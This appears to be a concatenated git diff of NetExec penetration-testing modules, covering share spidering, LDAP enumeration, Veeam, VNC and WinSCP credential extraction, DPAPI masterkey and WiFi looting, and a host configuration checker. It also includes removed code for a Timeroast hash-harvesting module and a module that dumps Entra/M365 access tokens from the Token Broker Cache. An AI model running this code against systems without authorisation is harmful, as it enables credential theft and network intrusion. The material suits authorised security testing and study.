self.stats["file_exts"].add(file_extension.lower())
if file_extension.lower() in [ext.lstrip(".") for ext in self.exclude_exts]:
if file_extension.lower() in self.exclude_exts:
self.logger.info(f'The file "{file_path}" has an excluded extension.')
self.stats["num_files_filtered"] += 1
return
@@ -373,7 +374,7 @@ class SMBSpiderPlus:
def dump_folder_metadata(self, results):
"""Takes the metadata results as input and writes them to a JSON file in the `self.output_folder`.
The results are formatted with indentation and sorted keys before being written to the file.
"""
metadata_path = join(self.output_folder, f"{self.host}.json")
@@ -411,7 +412,8 @@ class SMBSpiderPlus:
self.logger.display(f"Total folders found: {num_folders}")
num_folders_filtered = self.stats.get("num_folders_filtered", 0)
if num_folders_filtered:
self.logger.display(f"Folders Filtered: {num_folders_filtered}")
num_filtered_folders = len(num_folders_filtered)
self.logger.display(f"Folders Filtered: {num_filtered_folders}")
# File statistics.
num_files = self.stats.get("num_files", 0)
@@ -485,7 +487,7 @@ class NXCModule:
EXCLUDE_EXTS Case-insensitive extension filter to exclude (Default: ico,lnk)
EXCLUDE_FILTER Case-insensitive filter to exclude folders/files (Default: print$,ipc$)
MAX_FILE_SIZE Max file size to download (Default: 51200)
OUTPUT_FOLDER Path of the local folder to save files (Default: ~/.nxc/nxc_spider_plus)
OUTPUT_FOLDER Path of the local folder to save files (Default: /tmp/nxc_spider_plus)
"""
self.download_flag = False
if any("DOWNLOAD" in key for key in module_options):
@@ -498,7 +500,7 @@ class NXCModule:
self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$"))
self.exclude_filter = [d.lower() for d in self.exclude_filter] # force case-insensitive
self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024))
self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(NXC_PATH, "modules/nxc_spider_plus")))
self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus")))
def on_login(self, context, connection):
context.log.display("Started module spidering_plus with the following options:")
+4 -4
View File
@@ -42,12 +42,12 @@ class NXCModule:
multiple_hosts = False
def on_login(self, context, connection):
dn = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn
dn = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
context.log.display("Getting the Sites and Subnets from domain")
try:
list_sites = connection.ldap_connection.search(
list_sites = connection.ldapConnection.search(
searchBase=f"CN=Configuration,{dn}",
searchFilter="(objectClass=site)",
attributes=["distinguishedName", "name", "description"],
@@ -68,7 +68,7 @@ class NXCModule:
site_description = site["description"]
# Getting subnets of this site
list_subnets = connection.ldap_connection.search(
list_subnets = connection.ldapConnection.search(
searchBase=f"CN=Sites,CN=Configuration,{dn}",
searchFilter=f"(siteObject={site_dn})",
attributes=["distinguishedName", "name"],
@@ -86,7 +86,7 @@ class NXCModule:
if self.showservers:
# Getting machines in these subnets
list_servers = connection.ldap_connection.search(
list_servers = connection.ldapConnection.search(
searchBase=site_dn,
searchFilter="(objectClass=server)",
attributes=["cn"],
-112
View File
@@ -1,112 +0,0 @@
from binascii import hexlify, unhexlify
from select import select
from time import time
from socket import socket, AF_INET, SOCK_DGRAM
from struct import pack, unpack
def hashcat_format(rid, hashval, salt):
"""Encodes hash in Hashcat-compatible format (with username prefix)."""
return f"{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}"
class NXCModule:
"""
Module by Disgame: @Disgame
Based on research from SecuraBV (@SecuraBV)
https://github.com/SecuraBV/Timeroast/
Much of this code was copied from the original implementation.
"""
name = "timeroast"
description = "Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False
def __init__(self):
self.context = None
self.module_options = None
# Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query.
self.ntp_prefix = unhexlify("db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a")
def options(self, context, module_options):
self.rids = range(1, 2**31)
self.rate = 180
self.timeout = 24
self.src_port = 0
self.old_hashes = False
self.target = None
if "rids" in module_options:
self.rids = module_options["rids"]
if "rate" in module_options:
self.rate = module_options["rate"]
if "timeout" in module_options:
self.timeout = module_options["timeout"]
if "src_port" in module_options:
self.src_port = module_options["src_port"]
if "old_hashes" in module_options:
self.old_hashes = module_options["old_hashes"]
def on_login(self, context, connection):
if self.target is None:
self.target = connection.host
context.log.display("Starting Timeroasting...")
for rid, md5hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, self.old_hashes, self.src_port):
context.log.highlight(hashcat_format(rid, md5hash, salt))
def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port=0):
"""Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs.
Rate is the number of queries per second to send.
Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will
not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network
issues.
Yields (rid, hash, salt) pairs, where salt is the NTP response data.
"""
# Flag in key identifier that indicates whether the old or new password should be used.
keyflag = 2**31 if old_pwd else 0
# Bind UDP socket.
with socket(AF_INET, SOCK_DGRAM) as sock:
try:
sock.bind(("0.0.0.0", src_port))
except PermissionError:
context.log.exception(f"No permission to listen on port {src_port}. May need to run as root.")
query_interval = 1 / rate
last_ok_time = time()
rids_received = set()
rid_iterator = iter(rids)
while time() < last_ok_time + giveup_time:
# Send out query for the next RID, if any.
query_rid = next(rid_iterator, None)
if query_rid is not None:
query = self.ntp_prefix + pack("<I", query_rid ^ keyflag) + b"\x00" * 16
sock.sendto(query, (dc_host, 123))
# Wait for either a response or time to send the next query.
ready, [], [] = select([sock], [], [], query_interval)
if ready:
reply = sock.recvfrom(120)[0]
# Extract RID, hash and "salt" if succesful.
if len(reply) == 68:
salt = reply[:48]
answer_rid = unpack("<I", reply[-20:-16])[0] ^ keyflag
md5hash = reply[-16:]
# Filter out duplicates.
if answer_rid not in rids_received:
rids_received.add(answer_rid)
yield answer_rid, md5hash, salt
last_ok_time = time()
+2 -2
View File
@@ -71,12 +71,12 @@ class NXCModule:
Users can specify additional LDAP filters that are applied to the query.
"""
self.context = context
self.create_log_file(connection.target, datetime.now().strftime("%Y%m%d_%H%M%S"))
self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S"))
context.log.info(f"Starting LDAP search with search filter '{self.search_filter}'")
try:
sc = ldap.SimplePagedResultsControl()
connection.ldap_connection.search(
connection.ldapConnection.search(
searchFilter=self.search_filter,
attributes=["sAMAccountName", "description"],
sizeLimit=0,
+13 -36
View File
@@ -40,9 +40,6 @@ class NXCModule:
PostgresUserForWindowsAuth = ""
SqlDatabaseName = ""
# Salt for newer Veeam versions
salt = ""
try:
remoteOps = RemoteOperations(connection.conn, False)
remoteOps.enableRegistry()
@@ -75,8 +72,6 @@ class NXCModule:
SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0]
SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0]
SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0]
salt = self.get_salt(context, remoteOps, regHandle)
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug("No Veeam v12 installation found")
@@ -112,38 +107,28 @@ class NXCModule:
# Check if we found an SQL Server of some kind
if SqlDatabase and SqlInstance and SqlServer:
context.log.success(f'Found Veeam DB "{SqlDatabase}" on SQL Server "{SqlServer}\\{SqlInstance}"! Extracting stored credentials...')
credentials = self.executePsMssql(connection, SqlDatabase, SqlInstance, SqlServer, salt)
credentials = self.executePsMssql(context, connection, SqlDatabase, SqlInstance, SqlServer)
self.printCreds(context, credentials)
elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName:
context.log.success(f'Found Veeam DB "{SqlDatabaseName}" on an PostgreSQL Instance! Extracting stored credentials...')
credentials = self.executePsPostgreSql(connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt)
credentials = self.executePsPostgreSql(context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName)
self.printCreds(context, credentials)
def get_salt(self, context, remoteOps, regHandle):
try:
keyHandle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, "SOFTWARE\\Veeam\\Veeam Backup and Replication\\Data")["phkResult"]
return rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "EncryptionSalt")[1].split("\x00")[:-1][0]
except DCERPCException as e:
if str(e).find("ERROR_FILE_NOT_FOUND"):
context.log.debug("No Salt found")
except Exception as e:
context.log.fail(f"UNEXPECTED ERROR: {e}")
context.log.debug(traceback.format_exc())
def stripXmlOutput(self, context, output):
return output.split("CLIXML")[1].split("<Objs Version")[0]
def executePsMssql(self, connection, SqlDatabase, SqlInstance, SqlServer, salt):
def executePsMssql(self, context, connection, SqlDatabase, SqlInstance, SqlServer):
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlDatabase", SqlDatabase)
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlInstance", SqlInstance)
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlServer", SqlServer)
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_b64Salt", salt)
psScipt_b64 = b64encode(self.psScriptMssql.encode("UTF-16LE")).decode("utf-8")
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
def executePsPostgreSql(self, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt):
def executePsPostgreSql(self, context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName):
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgreSqlExec", PostgreSqlExec)
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgresUserForWindowsAuth", PostgresUserForWindowsAuth)
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_SqlDatabaseName", SqlDatabaseName)
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_b64Salt", salt)
psScipt_b64 = b64encode(self.psScriptPostgresql.encode("UTF-16LE")).decode("utf-8")
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
@@ -151,13 +136,13 @@ class NXCModule:
def printCreds(self, context, output):
# Format output if returned in some XML Format
if "CLIXML" in output:
output = output.split("CLIXML")[1].split("<Objs Version")[0]
output = self.stripXmlOutput(context, output)
if "Access denied" in output:
context.log.fail("Access denied! This is probably due to an AntiVirus software blocking the execution of the PowerShell script.")
# Stripping whitespaces and newlines
output_stripped = [line for line in output.replace("\r", "").split("\n") if line.strip()]
output_stripped = [" ".join(line.split()) for line in output.split("\r\n") if line.strip()]
# Error handling
if "Can't connect to DB! Exiting..." in output_stripped or "No passwords found!" in output_stripped:
@@ -167,20 +152,12 @@ class NXCModule:
# When powershell returns something else than the usernames and passwords account.split() will throw a ValueError.
# This is likely an error thrown by powershell, so we print the error and the output for debugging purposes.
try:
context.log.highlight(f"{'Username':<40} {'Password':<40} {'Description'}")
context.log.highlight(f"{'--------':<40} {'--------':<40} {'-----------'}")
for account in output_stripped:
# Remove multiple whitespaces
account = " ".join(account.split())
try:
user, password, description = account.split(" ", 2)
except ValueError:
user, password = account.split(" ", 1)
description = ""
user = user.strip().replace("WHITESPACE_ERROR", " ").strip()
password = password.strip().replace("WHITESPACE_ERROR", " ").strip()
description = description.strip().replace("WHITESPACE_ERROR", " ").strip()
context.log.highlight(f"{user:<40} {password:<40} {description}")
user, password = account.split(" ", 1)
password = password.replace("WHITESPACE_ERROR", " ")
context.log.highlight(f"{user}:{password}")
if " " in password:
context.log.fail(f'Password contains whitespaces! The password for user "{user}" is: "{password}"')
except ValueError:
context.log.fail(f"Powershell returned unexpected output: {output_stripped}")
context.log.fail("Please report this issue on GitHub!")
+11 -4
View File
@@ -1,5 +1,6 @@
import ntpath
import tempfile
from dploot.lib.smb import DPLootSMBConnection
from dploot.lib.target import Target
from impacket.dcerpc.v5 import rrp
@@ -12,8 +13,6 @@ from binascii import unhexlify
import codecs
import re
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
class NXCModule:
"""
@@ -52,7 +51,7 @@ class NXCModule:
self.connection = connection
self.share = self.connection.args.share
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
@@ -74,7 +73,7 @@ class NXCModule:
use_kcache=use_kcache,
)
dploot_conn = upgrade_to_dploot_connection(target=target, connection=connection.conn)
dploot_conn = self.upgrade_connection(target=target, connection=connection.conn)
if not self.no_remoteops:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
@@ -82,6 +81,14 @@ class NXCModule:
self.vnc_client_proxyconf_extract(dploot_conn, remote_ops)
self.vnc_from_filesystem(dploot_conn)
def upgrade_connection(self, target: Target, connection=None):
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection
else:
conn.connect()
return conn
def reg_query_value(self, remote_ops, path, key, hku=False):
if remote_ops._RemoteOperations__rrp:
ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
-68
View File
@@ -1,68 +0,0 @@
import re
import jwt
from dploot.triage.wam import WamTriage
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "wam"
description = "Dump access token from Token Broker Cache. More info here https://blog.xpnsec.com/wam-bam/. Module by zblurx"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
""" """
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting Token Broker Cache access tokens")
def token_callback(token):
for attrib in token.attribs:
if attrib["Key"].decode() == "WTRes_Token":
# Extract every access token
for access_token in re.findall(r"e[yw][A-Za-z0-9-_]+\.(?:e[yw][A-Za-z0-9-_]+)?\.[A-Za-z0-9-_]{2,}(?:(?:\.[A-Za-z0-9-_]{2,}){2})?", attrib.__str__()):
decoded_token = jwt.decode(access_token, options={"verify_signature": False})
if "preferred_username" in decoded_token:
# Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token
context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}")
try:
triage = WamTriage(target=target, conn=conn, masterkeys=self.masterkeys, per_token_callback=token_callback)
triage.triage_wam()
except Exception as e:
context.log.debug(f"Could not loot access tokens: {e}")
+10 -101
View File
@@ -9,7 +9,6 @@ from termcolor import colored
from nxc.logger import nxc_logger
from impacket.dcerpc.v5 import rrp, samr, scmr
from impacket.dcerpc.v5.rrp import DCERPCSessionError
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.smbconnection import SessionError as SMBSessionError
from impacket.examples.secretsdump import RemoteOperations
@@ -54,7 +53,7 @@ class ConfigCheck:
self.reasons = []
def run(self):
for checker, args, kwargs in zip(self.checkers, self.checker_args, self.checker_kwargs, strict=True):
for checker, args, kwargs in zip(self.checkers, self.checker_args, self.checker_kwargs):
if checker is None:
checker = HostChecker.check_registry
@@ -89,11 +88,11 @@ class NXCModule:
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.context = None
self.module_options = None
self.wcc_logger = logging.getLogger("WCC")
self.wcc_logger.propagate = False
log_filename = nxc_logger.init_log_file()
@@ -161,7 +160,7 @@ class HostChecker:
def run(self):
self.init_checks()
self.check_config()
def init_checks(self):
# Declare the checks to do and how to do them
self.checks = [
@@ -174,7 +173,7 @@ class HostChecker:
ConfigCheck("IPv4 preferred over IPv6", "Checks if IPv4 is preferred over IPv6", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip6\\Parameters", "DisabledComponents", (32, 255), in_)]]),
ConfigCheck("Spooler service disabled", "Checks if the spooler service is disabled", checkers=[self.check_spooler_service]),
ConfigCheck("WDigest authentication disabled", "Checks if WDigest authentication is disabled", checker_args=[[self, ("HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest", "UseLogonCredential", 0)]]),
ConfigCheck("WSUS configuration", "Checks if WSUS configuration uses HTTPS", checkers=[self.check_wsus_running, None], checker_args=[[], [self, ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "WUServer", "https://", startswith), ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU", "UseWUServer", 0, operator.eq)]], checker_kwargs=[{}, {"options": {"lastWins": True}}]),
ConfigCheck("WSUS configuration", "Checks if WSUS configuration uses HTTPS", checkers=[self.check_wsus_running, None], checker_args=[[], [self, ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "WUServer", "https://", startswith), ("HKLM\\Software\\Policies\\Microsoft\\Windows\\WindowsUpdate", "UseWUServer", 0, operator.eq)]], checker_kwargs=[{}, {"options": {"lastWins": True}}]),
ConfigCheck("Small LSA cache", "Checks how many logons are kept in the LSA cache", checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "CachedLogonsCount", 2, le)]]),
ConfigCheck("AppLocker rules defined", "Checks if there are AppLocker rules defined", checkers=[self.check_applocker]),
ConfigCheck("RDP expiration time", "Checks RDP session timeout", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt), ("HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services", "MaxDisconnectionTime", 0, operator.gt)]]),
@@ -191,15 +190,7 @@ class HostChecker:
ConfigCheck("BitLocker configuration", "Checks the BitLocker configuration (based on https://www.stigviewer.com/stig/windows_10/2020-06-15/finding/V-94859)", checker_args=[[self, ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseAdvancedStartup", 1), ("HKLM\\SOFTWARE\\Policies\\Microsoft\\FVE", "UseTPMPIN", 1)]]),
ConfigCheck("Guest account disabled", "Checks if the guest account is disabled", checkers=[self.check_guest_account_disabled]),
ConfigCheck("Automatic session lock enabled", "Checks if the session is automatically locked on after a period of inactivity", checker_args=[[self, ("HKCU\\Control Panel\\Desktop", "ScreenSaverIsSecure", 1), ("HKCU\\Control Panel\\Desktop", "ScreenSaveTimeOut", 300, le)]]),
ConfigCheck('Powershell Execution Policy == "Restricted"', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}]),
ConfigCheck("Defender service running", "Checks if defender service is enabled", checkers=[self.check_defender_service]),
ConfigCheck("Defender Tamper Protection enabled", "Check if Defender Tamper Protection is enabled", checker_args=[[self, ("HKLM\\Software\\Microsoft\\Windows Defender\\Features", "TamperProtection", 5)]]),
ConfigCheck("Defender RealTime Monitoring enabled", "Check if Defender RealTime Monitoring is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableRealtimeMonitoring", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableRealtimeMonitoring", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
ConfigCheck("Defender IOAV Protection enabled", "Check if Defender IOAV Protection is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableIOAVProtection", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableIOAVProtection", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
ConfigCheck("Defender Behaviour Monitoring enabled", "Check if Defender Behaviour Monitoring is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableBehaviourMonitoring", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableBehaviourMonitoring", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
ConfigCheck("Defender Script Scanning enabled", "Check if Defender Script Scanning is enabled", checker_args=[[self, ("HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableScriptScanning", 0), ("HKLM\\Software\\Microsoft\\Windows Defender\\Real-Time Protection", "DisableScriptScanning", 0)]], checker_kwargs=[{"options": {"lastWins": True, "stopOnOK": True}}]),
ConfigCheck("Defender no path exlusions", "Checks Defender path exlusion", checkers=[self.check_defender_exclusion], checker_args=[("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions\\Paths", "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths")]),
ConfigCheck("Defender no extension exclusions", "Checks Defender extension exlusion", checkers=[self.check_defender_exclusion], checker_args=[("HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Exclusions\\Extensions", "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Extensions")])
ConfigCheck('Powershell Execution Policy == "Restricted"', 'Checks if the Powershell execution policy is set to "Restricted"', checker_args=[[self, ("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00"), ("HKCU\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.Powershell", "ExecutionPolicy", "Restricted\x00")]], checker_kwargs=[{"options": {"KOIfMissing": False, "lastWins": True}}])
]
# Add check to conf_checks table if missing
@@ -252,7 +243,7 @@ class HostChecker:
if host_id is not None:
self.connection.db.add_check_result(host_id, check.check_id, check.ok, ", ".join(check.reasons).replace("\x00", ""))
def check_registry(self, *specs, options=None, stop_on_error=False):
def check_registry(self, *specs, options=None):
"""
Perform checks that only require to compare values in the registry with expected values, according to the specs
a spec may be either a 3-tuple: (key name, value name, expected value), or a 4-tuple (key name, value name, expected value, operation), where operation is a function that implements a comparison operator
@@ -270,7 +261,6 @@ class HostChecker:
try:
if len(spec) == 3:
(key, value_name, expected_value) = spec
op = operator.eq
elif len(spec) == 4:
(key, value_name, expected_value, op) = spec
else:
@@ -278,7 +268,7 @@ class HostChecker:
reasons = ["Check could not be performed (invalid specification provided)"]
return ok, reasons
except Exception as e:
self.context.log.error(f"Check could not be performed. Details: specs={specs}, dce={self.dce}, error: {e}")
self.module.log.error(f"Check could not be performed. Details: specs={specs}, dce={self.dce}, error: {e}")
return ok, reasons
if op == operator.eq:
@@ -318,9 +308,6 @@ class HostChecker:
else:
ok = False
reasons.append(f"Error while retrieving value of {key}\\{value_name}: {value}")
if stop_on_error:
ok = None
return ok, reasons
continue
if op(value, expected_value):
@@ -492,78 +479,6 @@ class HostChecker:
return success, reasons
def get_exclusions(self, key_name):
exclusions = []
try:
values = self.reg_query_value(self.dce, self.connection, key_name, valueName=None, all_value=True)
for _, value_name, _ in values:
exclusions.append(value_name)
except Exception:
self.context.log.debug("No defender exclusion policies")
return len(exclusions), exclusions
def check_defender_exclusion(self, *spec, options=None):
try:
if len(spec) == 2:
(policy_key_name, key_name) = spec
else:
ok = False
reasons = ["Check could not be performed (invalid specification provided)"]
return ok, reasons
except Exception as e:
self.context.log.error(f"Check could not be performed. Details: spec={spec}, dce={self.dce}, error: {e}")
return ok, reasons
reasons = []
success = True
count, exclusions_p = self.get_exclusions(policy_key_name)
reasons = [f"Policy: [{', '.join(exclusions_p)}]"]
count_k, exclusions_k = self.get_exclusions(key_name)
reasons.append(f"Manual: [{', '.join(exclusions_k)}]")
count += count_k
if count > 0:
success = False
return success, reasons
def check_defender_service(self):
ok = True
raised = False
reasons = []
try:
service_config, service_status = self.get_service("windefend", self.connection)
if service_status == scmr.SERVICE_RUNNING:
reasons.append("windefend service running")
elif service_status == scmr.SERVICE_STOPPED:
ok = False
reasons.append("windefend service not running")
except DCERPCException as e:
ok = True
raised = True
reasons = [f"windefend service check error({e})"]
if ok is False or raised is True:
try:
service_config, service_status = self.get_service("sense", self.connection)
if service_status == scmr.SERVICE_RUNNING:
reasons.append("sense service running")
elif service_status == scmr.SERVICE_STOPPED:
ok = False
reasons.append("sense service not running")
except DCERPCException as e:
ok = True
raised = True
reasons.append(f"sense service check error({e})")
if raised is True:
reasons_save = reasons
args = ("HKLM\\SOFTWARE\\Microsoft\\Windows Defender", "IsServiceRunning", 1)
ok, reasons = self.check_registry(args)
reasons.extend(reasons_save)
return ok, reasons
def _open_root_key(self, dce, connection, root_key):
ans = None
retries = 1
@@ -612,7 +527,7 @@ class HostChecker:
break
return subkeys
def reg_query_value(self, dce, connection, keyName, valueName=None, all_value=False):
def reg_query_value(self, dce, connection, keyName, valueName=None):
"""Query remote registry data for a given registry value"""
def subkey_values(subkey_handle):
@@ -665,10 +580,8 @@ class HostChecker:
subkey_handle = ans["phkResult"]
if valueName is None and all_value is False:
if valueName is None:
return get_value(subkey_handle)[2]
elif valueName is None and all_value is True:
return subkey_values(subkey_handle)
else:
for _, name, data in subkey_values(subkey_handle):
if name.upper() == valueName.upper():
@@ -722,19 +635,15 @@ class HostChecker:
self.context.log.error(f"ls(): C:\\{path} {e}\n")
return file_listing
def le(reg_sz_string, number):
return int(reg_sz_string[:-1]) <= number
def in_(obj, seq):
return obj in seq
def startswith(string, start):
return string.startswith(start)
def not_(boolean_operator):
def wrapper(*args, **kwargs):
return not boolean_operator(*args, **kwargs)
+2 -2
View File
@@ -17,13 +17,13 @@ class NXCModule:
self.username = module_options["USER"]
def on_login(self, context, connection):
searchBase = connection.ldap_connection._baseDN
searchBase = connection.ldapConnection._baseDN
searchFilter = f"(sAMAccountName={connection.username})" if self.username is None else f"(sAMAccountName={format(self.username)})"
context.log.debug(f"Using naming context: {searchBase} and {searchFilter} as search filter")
# Get attributes of provided user
r = connection.ldap_connection.search(
r = connection.ldapConnection.search(
searchBase=searchBase,
searchFilter=searchFilter,
attributes=[
+27 -11
View File
@@ -1,8 +1,9 @@
from dploot.triage.masterkeys import MasterkeysTriage
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from dploot.triage.wifi import WifiTriage
from nxc.helpers.logger import highlight
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, upgrade_to_dploot_connection
class NXCModule:
@@ -16,29 +17,44 @@ class NXCModule:
""" """
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
aesKey = connection.aesKey
use_kcache = getattr(connection, "use_kcache", False)
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=connection.domain,
domain=domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
target=host,
lmhash=lmhash,
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
do_kerberos=kerberos,
aesKey=aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
use_kcache=use_kcache,
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
conn = None
try:
conn = DPLootSMBConnection(target)
conn.smb_session = connection.conn
except Exception as e:
context.log.debug(f"Could not upgrade connection: {e}")
return
masterkeys = collect_masterkeys_from_target(connection, target, conn, user=False)
masterkeys = []
try:
masterkeys_triage = MasterkeysTriage(target=target, conn=conn, dpapiSystem={})
masterkeys += masterkeys_triage.triage_system_masterkeys()
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
if len(masterkeys) == 0:
context.log.fail("No masterkeys looted")
+9 -22
View File
@@ -5,17 +5,16 @@
# - https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/parser/winscp.rb
import traceback
from typing import Tuple
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from impacket.smbconnection import SessionError
from urllib.parse import unquote
from io import BytesIO
import re
import configparser
class NXCModule:
"""Module by @NeffIsBack"""
@@ -99,7 +98,7 @@ class NXCModule:
clearpass = clearpass[len(key):]
return clearpass
def dec_next_char(self, pass_bytes) -> tuple[int, bytes]:
def dec_next_char(self, pass_bytes) -> "Tuple[int, bytes]":
"""
Decrypts the first byte of the password and returns the decrypted byte and the remaining bytes.
